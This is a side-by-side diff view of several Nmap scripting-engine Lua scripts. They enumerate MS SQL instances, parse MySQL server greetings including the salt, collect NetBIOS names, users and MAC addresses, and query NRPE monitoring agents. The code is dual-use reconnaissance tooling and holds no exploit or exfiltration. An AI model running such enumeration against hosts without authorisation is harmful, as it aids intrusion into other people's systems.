instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
table.insert( instanceOutput, output ) table.insert( instanceOutput, output )
return instanceOutput return instanceOutput
end end
action = function( host, port ) action = function( host, port )
local scriptOutput = {} local scriptOutput = {}
local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
if ( not status ) then if ( not status ) then
return stdnse.format_output( false, instanceList ) return stdnse.format_output( false, instanceList )
else else
for _, instance in pairs( instanceList ) do for _, instance in pairs( instanceList ) do
local instanceOutput = process_instance( instance ) local instanceOutput = process_instance( instance )
if instanceOutput then if instanceOutput then
table.insert( scriptOutput, instanceOutput ) table.insert( scriptOutput, instanceOutput )
end end
end end
end end
return stdnse.format_output( true, scriptOutput ) return stdnse.format_output( true, scriptOutput )
end end

View File

@@ -40,169 +40,169 @@ end
--@param num Start of the two bytes --@param num Start of the two bytes
--@return The converted number --@return The converted number
local ntohs = function(num) local ntohs = function(num)
local b1 = bit.band(num:byte(1), 255) local b1 = bit.band(num:byte(1), 255)
local b2 = bit.band(num:byte(2), 255) local b2 = bit.band(num:byte(2), 255)
return bit.bor(b1, bit.lshift(b2, 8)) return bit.bor(b1, bit.lshift(b2, 8))
end end
--- Converts three bytes into a number --- Converts three bytes into a number
--@param num Start of the three bytes --@param num Start of the three bytes
--@return The converted number --@return The converted number
local ntoh3 = function(num) local ntoh3 = function(num)
local b1 = bit.band(num:byte(1), 255) local b1 = bit.band(num:byte(1), 255)
local b2 = bit.band(num:byte(2), 255) local b2 = bit.band(num:byte(2), 255)
local b3 = bit.band(num:byte(3), 255) local b3 = bit.band(num:byte(3), 255)
return bit.bor(b1, bit.lshift(b2, 8), bit.lshift(b3, 16)) return bit.bor(b1, bit.lshift(b2, 8), bit.lshift(b3, 16))
end end
--- Converts four bytes into a number --- Converts four bytes into a number
--@param num Start of the four bytes --@param num Start of the four bytes
--@return The converted number --@return The converted number
local ntohl = function(num) local ntohl = function(num)
local b1 = bit.band(num:byte(1), 255) local b1 = bit.band(num:byte(1), 255)
local b2 = bit.band(num:byte(2), 255) local b2 = bit.band(num:byte(2), 255)
local b3 = bit.band(num:byte(3), 255) local b3 = bit.band(num:byte(3), 255)
local b4 = bit.band(num:byte(4), 255) local b4 = bit.band(num:byte(4), 255)
return bit.bor(b1, bit.lshift(b2, 8), bit.lshift(b3, 16), bit.lshift(b4, 24)) return bit.bor(b1, bit.lshift(b2, 8), bit.lshift(b3, 16), bit.lshift(b4, 24))
end end
--- Converts a number to a string description of the capabilities --- Converts a number to a string description of the capabilities
--@param num Start of the capabilities data --@param num Start of the capabilities data
--@return String describing the capabilities offered --@return String describing the capabilities offered
local capabilities = function(num) local capabilities = function(num)
local caps = "" local caps = ""
if bit.band(num, 1) > 0 then if bit.band(num, 1) > 0 then
caps = caps .. "Long Passwords, " caps = caps .. "Long Passwords, "
end end
if bit.band(num, 8) > 0 then if bit.band(num, 8) > 0 then
caps = caps .. "Connect with DB, " caps = caps .. "Connect with DB, "
end end
if bit.band(num, 32) > 0 then if bit.band(num, 32) > 0 then
caps = caps .. "Compress, " caps = caps .. "Compress, "
end end
if bit.band(num, 64) > 0 then if bit.band(num, 64) > 0 then
caps = caps .. "ODBC, " caps = caps .. "ODBC, "
end end
if bit.band(num, 2048) > 0 then if bit.band(num, 2048) > 0 then
caps = caps .. "SSL, " caps = caps .. "SSL, "
end end
if bit.band(num, 8192) > 0 then if bit.band(num, 8192) > 0 then
caps = caps .. "Transactions, " caps = caps .. "Transactions, "
end end
if bit.band(num, 32768) > 0 then if bit.band(num, 32768) > 0 then
caps = caps .. "Secure Connection, " caps = caps .. "Secure Connection, "
end end
return caps:gsub(", $", "") return caps:gsub(", $", "")
end end
portrule = function(host, port) portrule = function(host, port)
local extra = port.version.extrainfo local extra = port.version.extrainfo
return (port.number == 3306 or port.service == "mysql") return (port.number == 3306 or port.service == "mysql")
and port.protocol == "tcp" and port.protocol == "tcp"
and port.state == "open" and port.state == "open"
and not (extra ~= nil and not (extra ~= nil
and (extra:match("[Uu]nauthorized") and (extra:match("[Uu]nauthorized")
or extra:match("[Tt]oo many connection"))) or extra:match("[Tt]oo many connection")))
end end
action = function(host, port) action = function(host, port)
local output = "" local output = ""
local status, response = comm.get_banner(host, port, {timeout=5000}) local status, response = comm.get_banner(host, port, {timeout=5000})
if not status then if not status then
return return
end end
local length = ntoh3(response:sub(1, 3)) local length = ntoh3(response:sub(1, 3))
if length ~= response:len() - 4 then if length ~= response:len() - 4 then
return "Invalid greeting (Not MySQL?)" return "Invalid greeting (Not MySQL?)"
end end
-- Keeps track of where we are in the binary data -- Keeps track of where we are in the binary data
local offset = 1 + 4 local offset = 1 + 4
local protocol = response:byte(offset) local protocol = response:byte(offset)
offset = offset + 1 offset = offset + 1
-- If a 0xff is here instead of the protocol, an error occurred. -- If a 0xff is here instead of the protocol, an error occurred.
-- Pass it along to the user.. -- Pass it along to the user..
if (protocol == 255) then if (protocol == 255) then
output = "MySQL Error detected!\n" output = "MySQL Error detected!\n"
local sqlerrno = ntohs(response:sub(offset, offset + 2)) local sqlerrno = ntohs(response:sub(offset, offset + 2))
offset = offset + 2 offset = offset + 2
local sqlerrstr = response:sub(offset) local sqlerrstr = response:sub(offset)
output = output .. "Error Code was: " .. sqlerrno .. "\n" output = output .. "Error Code was: " .. sqlerrno .. "\n"
output = output .. sqlerrstr output = output .. sqlerrstr
return output return output
end end
local version = getstring(response:sub(offset)) local version = getstring(response:sub(offset))
offset = offset + version:len() + 1 offset = offset + version:len() + 1
local threadid = ntohl(response:sub(offset, offset + 4)) local threadid = ntohl(response:sub(offset, offset + 4))
offset = offset + 4 offset = offset + 4
local salt = getstring(response:sub(offset)) local salt = getstring(response:sub(offset))
offset = offset + salt:len() + 1 offset = offset + salt:len() + 1
local caps = capabilities(ntohs(response:sub(offset, offset + 2))) local caps = capabilities(ntohs(response:sub(offset, offset + 2)))
offset = offset + 2 offset = offset + 2
offset = offset + 1 offset = offset + 1
local status = "" local status = ""
if ntohs(response:sub(offset, offset + 2)) == 2 then if ntohs(response:sub(offset, offset + 2)) == 2 then
status = "Autocommit" status = "Autocommit"
end end
offset = offset + 2 offset = offset + 2
offset = offset + 13 -- unused offset = offset + 13 -- unused
if response:len() - offset + 1 == 13 then if response:len() - offset + 1 == 13 then
salt = salt .. getstring(response:sub(offset)) salt = salt .. getstring(response:sub(offset))
end end
output = output .. "Protocol: " .. protocol .. "\n" output = output .. "Protocol: " .. protocol .. "\n"
output = output .. "Version: " .. version .. "\n" output = output .. "Version: " .. version .. "\n"
output = output .. "Thread ID: " .. threadid .. "\n" output = output .. "Thread ID: " .. threadid .. "\n"
if caps:len() > 0 then if caps:len() > 0 then
output = output .. "Some Capabilities: " .. caps .. "\n" output = output .. "Some Capabilities: " .. caps .. "\n"
end end
if status:len() > 0 then if status:len() > 0 then
output = output .. "Status: " .. status .. "\n" output = output .. "Status: " .. status .. "\n"
end end
output = output .. "Salt: " .. salt .. "\n" output = output .. "Salt: " .. salt .. "\n"
return output return output
end end

View File

@@ -87,155 +87,155 @@ categories = {"default", "discovery", "safe"}
hostrule = function(host) hostrule = function(host)
-- The following is an attempt to only run this script against hosts -- The following is an attempt to only run this script against hosts
-- that will probably respond to a UDP 137 probe. One might argue -- that will probably respond to a UDP 137 probe. One might argue
-- that sending a single UDP packet and waiting for a response is no -- that sending a single UDP packet and waiting for a response is no
-- big deal and that it should be done for every host. In that case -- big deal and that it should be done for every host. In that case
-- simply change this rule to always return true. -- simply change this rule to always return true.
local port_t135 = nmap.get_port_state(host, local port_t135 = nmap.get_port_state(host,
{number=135, protocol="tcp"}) {number=135, protocol="tcp"})
local port_t139 = nmap.get_port_state(host, local port_t139 = nmap.get_port_state(host,
{number=139, protocol="tcp"}) {number=139, protocol="tcp"})
local port_t445 = nmap.get_port_state(host, local port_t445 = nmap.get_port_state(host,
{number=445, protocol="tcp"}) {number=445, protocol="tcp"})
local port_u137 = nmap.get_port_state(host, local port_u137 = nmap.get_port_state(host,
{number=137, protocol="udp"}) {number=137, protocol="udp"})
return (port_t135 ~= nil and port_t135.state == "open") or return (port_t135 ~= nil and port_t135.state == "open") or
(port_t139 ~= nil and port_t139.state == "open") or (port_t139 ~= nil and port_t139.state == "open") or
(port_t445 ~= nil and port_t445.state == "open") or (port_t445 ~= nil and port_t445.state == "open") or
(port_u137 ~= nil and (port_u137 ~= nil and
(port_u137.state == "open" or (port_u137.state == "open" or
port_u137.state == "open|filtered")) port_u137.state == "open|filtered"))
end end
action = function(host) action = function(host)
local i local i
local status local status
local names, statistics local names, statistics
local server_name, user_name local server_name, user_name
local mac, prefix, manuf local mac, prefix, manuf
local response = {} local response = {}
local catch = function() return end local catch = function() return end
local try = nmap.new_try(catch) local try = nmap.new_try(catch)
-- Get the list of NetBIOS names -- Get the list of NetBIOS names
status, names, statistics = netbios.do_nbstat(host) status, names, statistics = netbios.do_nbstat(host)
status, names, statistics = netbios.do_nbstat(host) status, names, statistics = netbios.do_nbstat(host)
status, names, statistics = netbios.do_nbstat(host) status, names, statistics = netbios.do_nbstat(host)
status, names, statistics = netbios.do_nbstat(host) status, names, statistics = netbios.do_nbstat(host)
if(status == false) then if(status == false) then
return stdnse.format_output(false, names) return stdnse.format_output(false, names)
end end
-- Get the server name -- Get the server name
status, server_name = netbios.get_server_name(host, names) status, server_name = netbios.get_server_name(host, names)
if(status == false) then if(status == false) then
return stdnse.format_output(false, server_name) return stdnse.format_output(false, server_name)
end end
-- Get the logged in user -- Get the logged in user
status, user_name = netbios.get_user_name(host, names) status, user_name = netbios.get_user_name(host, names)
if(status == false) then if(status == false) then
return stdnse.format_output(false, user_name) return stdnse.format_output(false, user_name)
end end
local mac_prefixes = try(datafiles.parse_mac_prefixes()) local mac_prefixes = try(datafiles.parse_mac_prefixes())
-- Format the Mac address in the standard way -- Format the Mac address in the standard way
if(#statistics >= 6) then if(#statistics >= 6) then
-- MAC prefixes are matched on the first three bytes, all uppercase -- MAC prefixes are matched on the first three bytes, all uppercase
prefix = string.upper(string.format("%02x%02x%02x", statistics:byte(1), statistics:byte(2), statistics:byte(3))) prefix = string.upper(string.format("%02x%02x%02x", statistics:byte(1), statistics:byte(2), statistics:byte(3)))
mac = { mac = {
address = ("%02x:%02x:%02x:%02x:%02x:%02x"):format( statistics:byte(1), statistics:byte(2), statistics:byte(3), statistics:byte(4), statistics:byte(5), statistics:byte(6) ), address = ("%02x:%02x:%02x:%02x:%02x:%02x"):format( statistics:byte(1), statistics:byte(2), statistics:byte(3), statistics:byte(4), statistics:byte(5), statistics:byte(6) ),
manuf = mac_prefixes[prefix] or "unknown" manuf = mac_prefixes[prefix] or "unknown"
} }
host.registry['nbstat'] = { host.registry['nbstat'] = {
server_name = server_name, server_name = server_name,
mac = mac.address mac = mac.address
} }
-- Samba doesn't set the Mac address, and nmap-mac-prefixes shows that as Xerox -- Samba doesn't set the Mac address, and nmap-mac-prefixes shows that as Xerox
if(mac.address == "00:00:00:00:00:00") then if(mac.address == "00:00:00:00:00:00") then
mac.address = "<unknown>" mac.address = "<unknown>"
mac.manuf = "unknown" mac.manuf = "unknown"
end end
else else
mac = { mac = {
address = "<unknown>", address = "<unknown>",
manuf = "unknown" manuf = "unknown"
} }
end end
setmetatable(mac, { setmetatable(mac, {
-- MAC is formatted as "00:11:22:33:44:55 (Manufacturer)" -- MAC is formatted as "00:11:22:33:44:55 (Manufacturer)"
__tostring=function(t) return string.format("%s (%s)", t.address, t.manuf) end __tostring=function(t) return string.format("%s (%s)", t.address, t.manuf) end
}) })
-- Check if we actually got a username -- Check if we actually got a username
if(user_name == nil) then if(user_name == nil) then
user_name = "<unknown>" user_name = "<unknown>"
end end
response["server_name"] = server_name response["server_name"] = server_name
response["user"] = user_name response["user"] = user_name
response["mac"] = mac response["mac"] = mac
local names_output = {} local names_output = {}
for i = 1, #names, 1 do for i = 1, #names, 1 do
local name = names[i] local name = names[i]
setmetatable(name, { setmetatable(name, {
__tostring = function(t) __tostring = function(t)
-- Tabular format with padding -- Tabular format with padding
return string.format("%s<%02x>%sFlags: %s", return string.format("%s<%02x>%sFlags: %s",
t['name'], t['suffix'], t['name'], t['suffix'],
string.rep(" ", 17 - #t['name']), string.rep(" ", 17 - #t['name']),
netbios.flags_to_string(t['flags'])) netbios.flags_to_string(t['flags']))
end end
}) })
table.insert(names_output, name) table.insert(names_output, name)
end end
setmetatable(names_output, { setmetatable(names_output, {
__tostring = function(t) __tostring = function(t)
local ret = {} local ret = {}
for i,v in ipairs(t) do for i,v in ipairs(t) do
table.insert(ret, tostring(v)) table.insert(ret, tostring(v))
end end
-- Indent Names table by 2 spaces -- Indent Names table by 2 spaces
return " " .. table.concat(ret, "\n ") return " " .. table.concat(ret, "\n ")
end end
}) })
response["names"] = names_output response["names"] = names_output
local statistics_output = {} local statistics_output = {}
for i = 1, #statistics, 16 do for i = 1, #statistics, 16 do
--Format statistics as space-separated hex bytes, 16 columns --Format statistics as space-separated hex bytes, 16 columns
table.insert(statistics_output, table.insert(statistics_output,
stdnse.tohex(string.sub(statistics,i,i+16), {separator = " "}) stdnse.tohex(string.sub(statistics,i,i+16), {separator = " "})
) )
end end
response["statistics"] = statistics_output response["statistics"] = statistics_output
setmetatable(response, { setmetatable(response, {
__tostring = function(t) __tostring = function(t)
-- Normal single-line result -- Normal single-line result
local ret = {string.format("NetBIOS name: %s, NetBIOS user: %s, NetBIOS MAC: %s", t.server_name, t.user, t.mac)} local ret = {string.format("NetBIOS name: %s, NetBIOS user: %s, NetBIOS MAC: %s", t.server_name, t.user, t.mac)}
-- If verbosity is set, dump the whole list of names -- If verbosity is set, dump the whole list of names
if nmap.verbosity() >= 1 then if nmap.verbosity() >= 1 then
table.insert(ret, string.format("Names:\n%s",t.names)) table.insert(ret, string.format("Names:\n%s",t.names))
-- If super verbosity is set, print out the full statistics -- If super verbosity is set, print out the full statistics
if nmap.verbosity() >= 2 then if nmap.verbosity() >= 2 then
-- Indent Statistics table by 2 spaces -- Indent Statistics table by 2 spaces
table.insert(ret, string.format("Statistics:\n %s",table.concat(t.statistics,"\n "))) table.insert(ret, string.format("Statistics:\n %s",table.concat(t.statistics,"\n ")))
end end
end end
return table.concat(ret, "\n") return table.concat(ret, "\n")
end end
}) })
return response return response
end end

View File

@@ -39,214 +39,214 @@ categories = {"discovery", "intrusive"}
local NRPE_PROTOCOLS = { local NRPE_PROTOCOLS = {
"ssl", "ssl",
"tcp" "tcp"
} }
local NRPE_STATES = { local NRPE_STATES = {
[0] = "OK", [0] = "OK",
[1] = "WARNING", [1] = "WARNING",
[2] ="CRITICAL", [2] ="CRITICAL",
[3] = "UNKNOWN" [3] = "UNKNOWN"
} }
local NRPE_COMMANDS = { local NRPE_COMMANDS = {
"check_hda1", "check_hda1",
"check_load", "check_load",
"check_total_procs", "check_total_procs",
"check_users", "check_users",
"check_zombie_procs" "check_zombie_procs"
} }
local CRC32_CONSTANTS = { local CRC32_CONSTANTS = {
0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F,
0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988,
0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, 0x1DB71064, 0x6AB020F2, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, 0x1DB71064, 0x6AB020F2,
0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7,
0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9,
0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172,
0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 0x35B5A8FA, 0x42B2986C, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 0x35B5A8FA, 0x42B2986C,
0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59,
0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423,
0xCFBA9599, 0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0xCFBA9599, 0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190, 0x01DB7106, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190, 0x01DB7106,
0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433,
0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D,
0x91646C97, 0xE6635C01, 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x91646C97, 0xE6635C01, 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E,
0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950,
0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65,
0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7,
0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0,
0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA,
0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81,
0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A,
0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, 0xE3630B12, 0x94643B84, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, 0xE3630B12, 0x94643B84,
0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1,
0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB,
0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC,
0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 0xD6D6A3E8, 0xA1D1937E, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 0xD6D6A3E8, 0xA1D1937E,
0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B,
0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55,
0x316E8EEF, 0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0x316E8EEF, 0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE, 0xB2BD0B28, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE, 0xB2BD0B28,
0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D,
0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F,
0x72076785, 0x05005713, 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x72076785, 0x05005713, 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38,
0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242,
0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777,
0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69,
0x616BFFD3, 0x166CCF45, 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0x616BFFD3, 0x166CCF45, 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2,
0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC,
0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693,
0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94,
0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D
} }
local crc32 = function(s) local crc32 = function(s)
local crc = 0xFFFFFFFF local crc = 0xFFFFFFFF
for i = 1, #s do for i = 1, #s do
local p1 = s:byte(i) local p1 = s:byte(i)
local p2 = bit.bxor(crc, p1) local p2 = bit.bxor(crc, p1)
local p3 = bit.band(p2, 0xFF) local p3 = bit.band(p2, 0xFF)
local p4 = bit.band(p3) local p4 = bit.band(p3)
local p5 = CRC32_CONSTANTS[p4 + 1] local p5 = CRC32_CONSTANTS[p4 + 1]
local p6 = bit.rshift(crc, 8) local p6 = bit.rshift(crc, 8)
crc = bit.bxor(p6, p5) crc = bit.bxor(p6, p5)
end end
return bit.bxor(crc, 0xFFFFFFFF) return bit.bxor(crc, 0xFFFFFFFF)
end end
local nrpe_open = function(host, port) local nrpe_open = function(host, port)
for _, proto in pairs(NRPE_PROTOCOLS) do for _, proto in pairs(NRPE_PROTOCOLS) do
local sock = nmap.new_socket() local sock = nmap.new_socket()
sock:set_timeout(2000) sock:set_timeout(2000)
local status, err = sock:connect(host, port, proto) local status, err = sock:connect(host, port, proto)
if status then if status then
NRPE_PROTOCOLS = {proto} NRPE_PROTOCOLS = {proto}
return true, sock return true, sock
end end
stdnse.print_debug(2, "Can't connect using %s: %s", proto, err) stdnse.print_debug(2, "Can't connect using %s: %s", proto, err)
sock:close() sock:close()
end end
return false, nil return false, nil
end end
local nrpe_write = function(cmd) local nrpe_write = function(cmd)
-- Create request packet, before checksum. -- Create request packet, before checksum.
local pkt = "" local pkt = ""
pkt = pkt .. bin.pack(">S", 2) pkt = pkt .. bin.pack(">S", 2)
pkt = pkt .. bin.pack(">S", 1) pkt = pkt .. bin.pack(">S", 1)
pkt = pkt .. bin.pack(">I", 0) pkt = pkt .. bin.pack(">I", 0)
pkt = pkt .. bin.pack(">S", 0) pkt = pkt .. bin.pack(">S", 0)
pkt = pkt .. bin.pack("A", cmd) pkt = pkt .. bin.pack("A", cmd)
pkt = pkt .. string.char(0x00):rep(1024 - #cmd) pkt = pkt .. string.char(0x00):rep(1024 - #cmd)
pkt = pkt .. bin.pack(">S", 0) pkt = pkt .. bin.pack(">S", 0)
-- Calculate the checksum, and insert it into the packet. -- Calculate the checksum, and insert it into the packet.
pkt = bin.pack( pkt = bin.pack(
"A>IA", "A>IA",
string.char(pkt:byte(1, 4)), string.char(pkt:byte(1, 4)),
crc32(pkt), crc32(pkt),
string.char(pkt:byte(9, #pkt)) string.char(pkt:byte(9, #pkt))
) )
return pkt return pkt
end end
local nrpe_read = function(pkt) local nrpe_read = function(pkt)
local i local i
local result = {} local result = {}
-- Parse packet. -- Parse packet.
i, result.version = bin.unpack(">S", pkt, i) i, result.version = bin.unpack(">S", pkt, i)
i, result.type = bin.unpack(">S", pkt, i) i, result.type = bin.unpack(">S", pkt, i)
i, result.crc32 = bin.unpack(">I", pkt, i) i, result.crc32 = bin.unpack(">I", pkt, i)
i, result.state = bin.unpack(">S", pkt, i) i, result.state = bin.unpack(">S", pkt, i)
i, result.data = bin.unpack("z", pkt, i) i, result.data = bin.unpack("z", pkt, i)
return result return result
end end
local nrpe_check = function(host, port, cmd) local nrpe_check = function(host, port, cmd)
-- Create connection. -- Create connection.
local status, sock = nrpe_open(host, port) local status, sock = nrpe_open(host, port)
if not status then if not status then
return false, nil return false, nil
end end
-- Send query. -- Send query.
local status, err = sock:send(nrpe_write(cmd)) local status, err = sock:send(nrpe_write(cmd))
if not status then if not status then
stdnse.print_debug(1, "Failed to send NRPE query for command %s: %s", cmd, err) stdnse.print_debug(1, "Failed to send NRPE query for command %s: %s", cmd, err)
sock:close() sock:close()
return false, nil return false, nil
end end
-- Receive response. -- Receive response.
local status, resp = sock:receive() local status, resp = sock:receive()
if not status then if not status then
stdnse.print_debug(1, "Can't read NRPE response: %s", resp) stdnse.print_debug(1, "Can't read NRPE response: %s", resp)
sock:close() sock:close()
return false, nil return false, nil
end end
sock:close() sock:close()
return true, nrpe_read(resp) return true, nrpe_read(resp)
end end
portrule = shortport.port_or_service(5666, "nrpe") portrule = shortport.port_or_service(5666, "nrpe")
action = function(host, port) action = function(host, port)
-- Get script arguments. -- Get script arguments.
local cmds = stdnse.get_script_args("nrpe-enum.cmds") local cmds = stdnse.get_script_args("nrpe-enum.cmds")
if cmds then if cmds then
cmds = stdnse.strsplit(":", cmds) cmds = stdnse.strsplit(":", cmds)
else else
cmds = NRPE_COMMANDS cmds = NRPE_COMMANDS
end end
-- Create results table. -- Create results table.
local results = tab.new() local results = tab.new()
tab.addrow( tab.addrow(
results, results,
"Command", "Command",
"State", "State",
"Response" "Response"
) )
